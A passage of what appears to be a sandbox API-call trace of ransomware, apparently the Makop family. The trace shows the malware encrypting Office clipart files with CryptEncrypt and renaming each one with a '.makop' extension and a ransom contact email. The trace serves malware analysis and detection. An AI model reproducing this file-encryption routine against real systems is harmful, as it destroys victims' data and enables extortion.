[0120.701] CloseHandle (hObject=0xf0) returned 1 [0120.701] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0120.701] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0120.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.702] GetProcessHeap () returned 0x48a0000 [0120.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.702] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.707] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.707] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.707] GetProcessHeap () returned 0x48a0000 [0120.707] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.707] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.707] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.707] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.708] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.708] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.709] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.709] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.709] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x69cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x69cc, lpOverlapped=0x0) returned 1 [0120.711] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69d0, dwBufLen=0x69d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69d0) returned 1 [0120.711] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.711] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x69d0, lpOverlapped=0x0) returned 1 [0120.712] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.712] SetEndOfFile (hFile=0xf0) returned 1 [0120.720] GetProcessHeap () returned 0x48a0000 [0120.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.720] GetProcessHeap () returned 0x48a0000 [0120.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.720] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.721] CloseHandle (hObject=0xf0) returned 1 [0120.722] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0120.722] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0120.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.723] GetProcessHeap () returned 0x48a0000 [0120.723] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.723] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.723] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.723] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.728] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.728] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.728] GetProcessHeap () returned 0x48a0000 [0120.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.728] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.730] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.730] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.730] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.730] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbcfc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbcfc, lpOverlapped=0x0) returned 1 [0120.732] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd00, dwBufLen=0xbd00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd00) returned 1 [0120.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbd00, lpOverlapped=0x0) returned 1 [0120.733] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.733] SetEndOfFile (hFile=0xf0) returned 1 [0120.742] GetProcessHeap () returned 0x48a0000 [0120.742] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.742] GetProcessHeap () returned 0x48a0000 [0120.742] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.743] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.744] CloseHandle (hObject=0xf0) returned 1 [0120.744] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0120.744] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0120.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.745] GetProcessHeap () returned 0x48a0000 [0120.745] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.745] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.746] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.750] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.750] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.750] GetProcessHeap () returned 0x48a0000 [0120.750] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.752] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbd04, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbd04, lpOverlapped=0x0) returned 1 [0120.754] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd10, dwBufLen=0xbd10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd10) returned 1 [0120.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbd10, lpOverlapped=0x0) returned 1 [0120.755] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.755] SetEndOfFile (hFile=0xf0) returned 1 [0120.764] GetProcessHeap () returned 0x48a0000 [0120.764] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.764] GetProcessHeap () returned 0x48a0000 [0120.764] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.764] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.765] CloseHandle (hObject=0xf0) returned 1 [0120.765] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0120.766] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0120.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.768] GetProcessHeap () returned 0x48a0000 [0120.768] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.768] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.768] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.768] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.768] GetProcessHeap () returned 0x48a0000 [0120.768] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.768] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.769] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.769] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.774] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4330, lpOverlapped=0x0) returned 1 [0120.775] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4330, dwBufLen=0x4330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4330) returned 1 [0120.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4330, lpOverlapped=0x0) returned 1 [0120.776] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.776] SetEndOfFile (hFile=0xf0) returned 1 [0120.784] GetProcessHeap () returned 0x48a0000 [0120.784] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.784] GetProcessHeap () returned 0x48a0000 [0120.784] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.784] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.784] MoveFileW 